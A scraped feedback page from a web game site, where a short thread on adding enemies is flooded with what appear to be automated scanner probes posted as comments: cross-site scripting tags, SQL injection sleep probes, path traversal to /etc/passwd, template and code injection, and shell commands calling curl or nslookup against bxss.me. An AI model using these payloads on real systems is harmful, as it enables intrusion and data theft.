Feedback

Enemies by Agallup16 - 154 months ago

Enemies on pages.

• Boogerflicker

  The entire page is your enemy. If enemies were to be added what would happen if they killed you? If you want the enemies to be sitting ducks then there is really no purpose in making enemies.

• AwesomeBawesome

  Yes! i poseted the same thing being miltiplayer or bots!

• AwesomeBawesome

  Ack, bad spelling

• AwesomeBawesome

  Ack, bad spelling

• DOG

  rt

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1CgTKK9SNSO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• Anonymous

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• 1Dvoi2QgSAO

  1

• WfxYANoW

  ${9999531+10000498}

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  Http://bxss.me/t/fit.txt

• ${9999183+9999489}

  1

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  1

• WfxYANoW

  ../1

• WfxYANoW

  response.write(9715613*9906538)

• WfxYANoW

  '+response.write(9715613*9906538)+'

• WfxYANoW

  "+response.write(9715613*9906538)+"

• WfxYANoW

  echo dojteo$()\ zmjuua\nz^xyu||a #' &echo dojteo$()\ zmjuua\nz^xyu||a #|" &echo dojteo$()\ zmjuua\nz^xyu||a #

• WfxYANoW

  &echo xlcvme$()\ ankuzq\nz^xyu||a #' &echo xlcvme$()\ ankuzq\nz^xyu||a #|" &echo xlcvme$()\ ankuzq\nz^xyu||a #

• WfxYANoW

  /etc/shells

• response.write(9172551*9807383)

  1

• WfxYANoW

  1&echo uwdlnq$()\ khbong\nz^xyu||a #' &echo uwdlnq$()\ khbong\nz^xyu||a #|" &echo uwdlnq$()\ khbong\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• '+response.write(9172551*9807383)+'

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  |echo zoysby$()\ zgbvam\nz^xyu||a #' |echo zoysby$()\ zgbvam\nz^xyu||a #|" |echo zoysby$()\ zgbvam\nz^xyu||a #

• WfxYANoW

  bxss.me

• WfxYANoW

  1|echo wgqcpd$()\ uhakzg\nz^xyu||a #' |echo wgqcpd$()\ uhakzg\nz^xyu||a #|" |echo wgqcpd$()\ uhakzg\nz^xyu||a #

• "+response.write(9172551*9807383)+"

  1

• file:///etc/passwd

  1

• WfxYANoW

  (nslookup -q=cname hitxcabuefeqv0bd04.bxss.me||curl hitxcabuefeqv0bd04.bxss.me))

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  1

• WfxYANoW

  $(nslookup -q=cname hitiahbettvjr2631d.bxss.me||curl hitiahbettvjr2631d.bxss.me)

• ../WfxYANoW

  1

• WfxYANoW

  THayT9DY

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  ep6HlUMT: FsVl6qxw

• WfxYANoW

  1&n927892=v984537

• vt4Ram1m

  1

• WfxYANoW

  &nslookup -q=cname hitsgzztjmvtz08561.bxss.me&'\"`0&nslookup -q=cname hitsgzztjmvtz08561.bxss.me&`'

• sWPhLtiZ: 2gkZGdIa

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• ZVdNWXk2WVE=

  1

• WfxYANoW&n978726=v909967

  1

• /etc/shells

  1

• WfxYANoW

  &(nslookup -q=cname hitbpbznleytvbc89a.bxss.me||curl hitbpbznleytvbc89a.bxss.me)&'\"`0&(nslookup -q=cname hitbpbznleytvbc89a.bxss.me||curl hitbpbznleytvbc89a.bxss.me)&`'

• WfxYANoW

  )

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  |(nslookup -q=cname hitlrishmonosfa70b.bxss.me||curl hitlrishmonosfa70b.bxss.me)

• WfxYANoW

  '.gethostbyname(lc('hitkz'.'pgspoerb0fc28.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(73).chr(120).chr(68).'

• c:/windows/win.ini

  1

• WfxYANoW

  `(nslookup -q=cname hitdvuorwmhnw5d6f8.bxss.me||curl hitdvuorwmhnw5d6f8.bxss.me)`

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  ".gethostbyname(lc("hitri"."zagildvm1778f.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(86).chr(105).chr(68)."

• WfxYANoW

  ;(nslookup -q=cname hitzqexwmbxbk61e64.bxss.me||curl hitzqexwmbxbk61e64.bxss.me)|(nslookup -q=cname hitzqexwmbxbk61e64.bxss.me||curl hitzqexwmbxbk61e64.bxss.me)&(nslookup -q=cname hitzqexwmbxbk61e64.bxss.me||curl hitzqexwmbxbk61e64.bxss.me)

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitmxvimfrjpl1c8e9.bxss.me||curl${IFS}hitmxvimfrjpl1c8e9.bxss.me)

• WfxYANoW

  !(()&&!|*|*|

• bxss.me

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitievpqaikkb1db2e.bxss.me||curl${IFS}hitievpqaikkb1db2e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitievpqaikkb1db2e.bxss.me||curl${IFS}hitievpqaikkb1db2e.bxss.me)&`'

• )

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  ${@print(md5(31337))}

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  '"

• xfs.bxss.me

  1

• WfxYANoW

  gethostbyname(lc('hitww'.'zfxlqsxk8ec63.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(75).chr(119).chr(87)

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >oW4p(9071)</ScRiPt>

• '"

  1

• WfxYANoW

  '"()

• WfxYANoW

  '"()&%<zzz><ScRiPt >oW4p(9845)</ScRiPt>

• WfxYANoW

  1'&&sleep(27*1000)*avfqyx&&'

• <!--

  1

• WfxYANoW

  1"&&sleep(27*1000)*gdbcrv&&"

• WfxYANoW

  1

• WfxYANoW

  1'||sleep(27*1000)*dgbepn||'

• ';print(md5(31337));$a='

  1

• WfxYANoW

  19027352

• WfxYANoW

  1"||sleep(27*1000)*hvalqh||"

• ";print(md5(31337));$a="

  1

• WfxYANoW

  bfg2394＜s1﹥s2ʺs3ʹhjl2394

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(101).concat(67).concat(103).concat(88)+(require"socket" Socket.gethostbyname("hitar"+"xxvjdcfh42fe5.bxss.me.")[3].to_s)+"

• ${@print(md5(31337))}

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(102).concat(71).concat(120).concat(78)+(require'socket' Socket.gethostbyname('hitqo'+'kjvslpdqeac56.bxss.me.')[3].to_s)+'

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• ${@print(md5(31337))}\

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(104).concat(65).concat(113).concat(70)+(require'socket' Socket.gethostbyname('hitgj'+'nxqkkjfyc4f75.bxss.me.')[3].to_s)

• '.print(md5(31337)).'

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• bxss.me/t/xss.html?%00

  1

• '"()

  1

• WfxYANoW

  comment

• WfxYANoW'&&sleep(27*1000)*ghgagq&&'

  1

• WfxYANoW"&&sleep(27*1000)*fptmvc&&"

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  comment/.

• WfxYANoW'||sleep(27*1000)*wdvsby||'

  1

• WfxYANoW"||sleep(27*1000)*udsccs||"

  1

• comment

  1

• comment

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• comment/.

  1

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >oW4p(9110)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  1<WQQH8E>WGREW[!+!]</WQQH8E>

• WfxYANoW

  1<script>oW4p(9637)</script>

• WfxYANoW

  1<script>oW4p(9510)</script>9510

• WfxYANoW

  1<ScR<ScRiPt>IpT>oW4p(9879)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >oW4p(9373)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9649></ScRiPt>

• WfxYANoW

  1<ScRiPt >oW4p(9300)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=oW4p(9746)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9461'>

• WfxYANoW

  1<body onload=oW4p(9077)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=oW4p(9883)>

• WfxYANoW

  1u12APSv3

• WfxYANoW

  1<img src=xyz OnErRor=oW4p(9271)>

• WfxYANoW

  1<img/src=">" onerror=alert(9859)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%6F%57%34%70%289397%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\oW4p(9531)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;oW4p(9124)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=oW4p(9925)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(oW4p(9831))}

• WfxYANoW

  1

• WfxYANoW

  1pjz4w <ScRiPt >oW4p(9009)</ScRiPt>

• WfxYANoW

  -1 OR 2+223-223-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+480-480-1=0+0+0+1

• WfxYANoW

  1<WKYDWI>NBT5L[!+!]</WKYDWI>

• WfxYANoW

  -1' OR 2+899-899-1=0+0+0+1 --

• WfxYANoW

  1<ifRAme sRc=9400.com></IfRamE>

• WfxYANoW

  -1' OR 2+806-806-1=0+0+0+1 or 'Mgm6IjEm'='

• WfxYANoW

  -1" OR 2+996-996-1=0+0+0+1 --

• WfxYANoW

  1<aAhVIYb x=9921>

• WfxYANoW

  1<img sRc='http://attacker-9902/log.php?

• WfxYANoW

  1<a2BpBwV<

• WfxYANoW'"()&%<zzz><ScRiPt >oW4p(9067)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >oW4p(9890)</ScRiPt>

  1

• WfxYANoW9490977

  1

• bfg3448＜s1﹥s2ʺs3ʹhjl3448

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >oW4p(9998)</ScRiPt>

  1

• WfxYANoW<WT3S3G>177WU[!+!]</WT3S3G>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW<script>oW4p(9149)</script>

  1

• WfxYANoW<script>oW4p(9900)</script>9900

  1

• WfxYANoW<ScRiPt >oW4p(9777)</ScRiPt>

  1

• WfxYANoW<ScRiPt >oW4p(9370)</ScRiPt>

  1

• WfxYANoW<body onload=oW4p(9900)>

  1

• WfxYANoW<img src=xyz OnErRor=oW4p(9896)>

  1

• WfxYANoW<img/src=">" onerror=alert(9676)>

  1

• WfxYANoW\u003CScRiPt\oW4p(9846)\u003C/sCripT\u003E

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW&lt;ScRiPt&gt;oW4p(9327)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=oW4p(9799)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(oW4p(9051))}

  1

• WfxYANoWNMCK1 <ScRiPt >oW4p(9314)</ScRiPt>

  1

• WfxYANoW<WYPDUY>Z13RF[!+!]</WYPDUY>

  1

• WfxYANoW<ifRAme sRc=9583.com></IfRamE>

  1

• WfxYANoW<aAAHI4k x=9038>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<img sRc='http://attacker-9300/log.php?

  1

• WfxYANoW<atXOIF8<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  18eYz7yj5'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 358=(SELECT 358 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 155=(SELECT 155 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 378=(SELECT 378 FROM PG_SLEEP(15))--

• WfxYANoW

  15zt61GEl' OR 674=(SELECT 674 FROM PG_SLEEP(15))--

• WfxYANoW

  1uLMJXy8X') OR 143=(SELECT 143 FROM PG_SLEEP(15))--

• WfxYANoW

  1ZmQafFiv')) OR 39=(SELECT 39 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@ekTVW

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWypvItaut

  1

• WfxYANoW

  1

• -1 OR 2+395-395-1=0+0+0+1 --

  1

• -1 OR 2+289-289-1=0+0+0+1

  1

• -1' OR 2+258-258-1=0+0+0+1 --

  1

• -1' OR 2+470-470-1=0+0+0+1 or 'Pr7ct3oW'='

  1

• -1" OR 2+16-16-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWxBvTwIuN'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@EaUOz

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• migoevgk

  1

• fcrfhwpk

  response.write(9656832*9009752)

• fcrfhwpk

  '+response.write(9656832*9009752)+'

• rbnywehc

  1

• fcrfhwpk

  "+response.write(9656832*9009752)+"

• rbnywehc

  1

• response.write(9340716*9710006)

  1

• rbnywehc

  7YRj5pnJ

• errfupoy

  set|set&set

• '+response.write(9340716*9710006)+'

  1

• rbnywehc

  -1 OR 2+160-160-1=0+0+0+1 --

• errfupoy

  $(nslookup EjsrN6RH)

• "+response.write(9340716*9710006)+"

  1

• rbnywehc

  -1 OR 2+684-684-1=0+0+0+1

• errfupoy

  &nslookup 5gdPcKNm&'\"`0&nslookup 5gdPcKNm&`'

• jvdqfuxf

  MxF3hpra

• rbnywehc

  -1' OR 2+261-261-1=0+0+0+1 --

• set|set&set

  1

• bgsbynqp

  ../../../../../../../../../../etc/passwd

• tUvTIbci

  1

• shmctken

  1

• rbnywehc

  -1' OR 2+380-380-1=0+0+0+1 or 'Ubyu7iKX'='

• $(nslookup 97Vzx00B)

  1

• bgsbynqp

  ../../../../../../../../../../../../../../../proc/version

• srctsngc

  ${10000433+10000327}

• rbnywehc

  -1" OR 2+466-466-1=0+0+0+1 --

• &nslookup pBbxTJH8&'\"`0&nslookup pBbxTJH8&`'

  1

• bgsbynqp

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${9999214+10000193}

  1

• rbnywehc

  if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

• wlrqvkvc

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• bgsbynqp

  ../../../../../../../../../../etc/passwd.jpg

• VmFtZTZNQlc=

  1

• rbnywehc

  if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

• wlrqvkvc

  1some_inexistent_file_with_long_name.jpg

• bgsbynqp

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• akhlppmh

  1&n985170=v907083

• rbnywehc

  (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/

• shmctken

  1

• wlrqvkvc

  Http://testasp.vulnweb.com/t/fit.txt

• krojaaps

  )

• bgsbynqp

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• rbnywehc

  (select(0)from(select(sleep(7)))v)/*'+(select(0)from(select(sleep(7)))v)+'"+(select(0)from(select(sleep(7)))v)+"*/

• Anonymous

  1

• wlrqvkvc

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• krojaaps

  !(()&&!|*|*|

• bgsbynqp

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• ymehldbg&n901401=v948156

  1

• rbnywehc

  -1; waitfor delay '0:0:3' --

• wlrqvkvc

  testasp.vulnweb.com

• krojaaps

  ^(#$!@#$)(()))******

• bgsbynqp

  /etc/passwd

• rbnywehc

  -1; waitfor delay '0:0:10' --

• )

  1

• turtowrk

  '"()

• bgsbynqp

  %2fetc%2fpasswd

• yvncrbqh

  ;print(md5(acunetix_wvs_security_test));

• rbnywehc

  -1); waitfor delay '0:0:7' --

• sxsexidm

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• 1some_inexistent_file_with_long_name.jpg

  1

• !(()&&!|*|*|

  1

• bgsbynqp

  /.././.././.././.././.././.././.././../etc/./passwd%00

• yvncrbqh

  ';print(md5(acunetix_wvs_security_test));$a='

• rbnywehc

  1 waitfor delay '0:0:7' --

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• ^(#$!@#$)(()))******

  1

• '"()

  1

• bgsbynqp

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• yvncrbqh

  ";print(md5(acunetix_wvs_security_test));$a="

• rbnywehc

  sjvpWICS'; waitfor delay '0:0:7' --

• susbovbk

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• aiolqoci

  http://hito0u9SC07Xn.bxss.me/

• txjgnsnt

  1

• bgsbynqp

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• yvncrbqh

  ${@print(md5(acunetix_wvs_security_test))}

• rbnywehc

  -1;select pg_sleep(10); --

• susbovbk

  comment

• testasp.vulnweb.com

  1

• txjgnsnt

  1'"

• http://hitcoqyw40Ipr.bxss.me/

  1

• yvncrbqh

  ${@print(md5(acunetix_wvs_security_test))}\

• rbnywehc

  -1);select pg_sleep(10); --

• susbovbk

  comment

• xdtsgnbv

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• txjgnsnt

  \

• ksahvrom

  /www.vulnweb.com

• ;print(md5(acunetix_wvs_security_test));

  1

• bgsbynqp

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• rbnywehc

  -1));select pg_sleep(10); --

• susbovbk

  comment/.

• /www.vulnweb.com

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• bgsbynqp

  file:///etc/passwd

• rbnywehc

  xftF5Gwp';select pg_sleep(3); --

• susbovbk

  1

• olnyxwby

  '"

• txjgnsnt

  @@Xr6uP

• ourmienm

  1'"()&%<acx><ScRiPt >pqrH(9729)</ScRiPt>

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• bgsbynqp

  /\../\../\../\../\../\../\../etc/passwd

• rbnywehc

  d17VwutT';select pg_sleep(0); --

• comment

  1

• olnyxwby

  <!--

• txjgnsnt

  JyI=

• ${@print(md5(acunetix_wvs_security_test))}

  1

• bgsbynqp

  WEB-INF/web.xml

• rbnywehc

  rHOFRSfp');select pg_sleep(3); --

• comment

  1

• '"

  1

• ourmienm

  '"()&%<acx><ScRiPt >pqrH(9290)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• bgsbynqp

  /WEB-INF/web.xml

• rbnywehc

  LMIU4hsZ');select pg_sleep(7); --

• comment/.

  1

• <!--

  1

• bgsbynqp

  WEB-INF\web.xml

• rbnywehc

  N69S6AZN'));select pg_sleep(3); --

• txjgnsnt

  (select convert(int,CHAR(65)))

• ourmienm

  1_9934

• ../../../../../../../../../../etc/passwd

  1

• rbnywehc

  fCKH9N3e'));select pg_sleep(7); --

• txjgnsnt

  1

• rbnywehc

  1

• 1'"

  1

• ourmienm

  acu4022＜s1﹥s2ʺs3ʹuca4022

• rbnywehc

  1

• \

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• d6Fku2yC

  1

• -1 OR 2+782-782-1=0+0+0+1 --

  1

• @@nRHbu

  1

• -1 OR 2+872-872-1=0+0+0+1

  1

• JyI=

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1' OR 2+463-463-1=0+0+0+1 --

  1

• ourmienm

  {{9999244*9999531}}

• /etc/passwd

  1

• -1' OR 2+937-937-1=0+0+0+1 or 'y1b48i4C'='

  1

• %2fetc%2fpasswd

  1

• -1" OR 2+437-437-1=0+0+0+1 --

  1

• ourmienm

  1<ScRiPt >pqrH(9101)</ScRiPt>

• (select convert(int,CHAR(65)))

  1

• ourmienm

  1<WRFLIA>EVPWL[!+!]</WRFLIA>

• 1 waitfor delay '0:0:13' --

  1

• em636VGG'; waitfor delay '0:0:13' --

  1

• RPNhfQjO';select pg_sleep(4); --

  1

• VFj8xW08');select pg_sleep(4); --

  1

• file:///etc/passwd

  1

• UVua4azl'));select pg_sleep(4); --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• ourmienm

  1<script>pqrH(9400)</script>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• ourmienm

  1<ScR<ScRiPt>IpT>pqrH(9731)</sCr<ScRiPt>IpT>

• ourmienm

  1<ScRiPt >pqrH(9580)</ScRiPt>

• ourmienm

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9237></ScRiPt>

• ourmienm

  1<ScRiPt >pqrH(9899)</ScRiPt>

• ourmienm

  1<video><source onerror="javascript:pqrH(9411)">

• ourmienm

  1<isindex type=image src=1 onerror=pqrH(9656)>

• ourmienm

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9339'>

• ourmienm

  1<body onload=pqrH(9913)>

• ourmienm

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=pqrH(9570)>

• ourmienm

  1<img src=xyz OnErRor=pqrH(9862)>

• ourmienm

  1<img/src=">" onerror=alert(9971)>

• ourmienm

  %31%3C%53%63%52%69%50%74%20%3E%70%71%72%48%289531%29%3C%2F%73%43%72%69%70%54%3E

• ourmienm

  1\u003CScRiPt\pqrH(9986)\u003C/sCripT\u003E

• ourmienm

  1&lt;ScRiPt&gt;pqrH(9911)&lt;/sCripT&gt;

• ourmienm

  1<input autofocus onfocus=pqrH(9213)>

• ourmienm

  <a HrEF=http://www.vulnweb.com></a>

• ourmienm

  <a HrEF=jaVaScRiPT:>

• ourmienm

  [url=http://www.vulnweb.com][/url]

• ourmienm

  1<img<!-- --> src=x onerror=alert(9625);//><!-- -->

• ourmienm

  1}body{acu:Expre/**/SSion(pqrH(9260))}

• ourmienm

  1<% contenteditable onresize=pqrH(9539)>

• ourmienm

  1_nT4oa <ScRiPt >pqrH(9346)</ScRiPt>

• ourmienm

  1<WOCRVI>VR1AA[!+!]</WOCRVI>

• ourmienm

  1<ifRAme sRc=9632.com></IfRamE>

• ourmienm

  1<YgdrA6 x=9612>

• ourmienm

  1<img sRc='http://attacker-9707/log.php?

• ourmienm'"()&%<acx><ScRiPt >pqrH(9957)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >pqrH(9566)</ScRiPt>

  1

• ourmienm_9890

  1

• acu3132＜s1﹥s2ʺs3ʹuca3132

  1

• {{9999521*10000324}}

  1

• ourmienm<ScRiPt >pqrH(9700)</ScRiPt>

  1

• ourmienm<WEZ63W>OHHVR[!+!]</WEZ63W>

  1

• ourmienm<script>pqrH(9330)</script>

  1

• ourmienm<ScRiPt >pqrH(9057)</ScRiPt>

  1

• ourmienm<ScRiPt >pqrH(9359)</ScRiPt>

  1

• ourmienm<body onload=pqrH(9235)>

  1

• ourmienm<img src=xyz OnErRor=pqrH(9335)>

  1

• ourmienm<img/src=">" onerror=alert(9443)>

  1

• ourmienm\u003CScRiPt\pqrH(9983)\u003C/sCripT\u003E

  1

• ourmienm&lt;ScRiPt&gt;pqrH(9256)&lt;/sCripT&gt;

  1

• ourmienm<input autofocus onfocus=pqrH(9211)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• ourmienm}body{acu:Expre/**/SSion(pqrH(9850))}

  1

• ourmienm<% contenteditable onresize=pqrH(9261)>

  1

• ourmienm_ept9i <ScRiPt >pqrH(9081)</ScRiPt>

  1

• ourmienm<WTK9GP>QEYXK[!+!]</WTK9GP>

  1

• ourmienm<ifRAme sRc=9033.com></IfRamE>

  1

• ourmienm<JuSTNT x=9223>

  1

• ourmienm<img sRc='http://attacker-9156/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  771 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  709 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
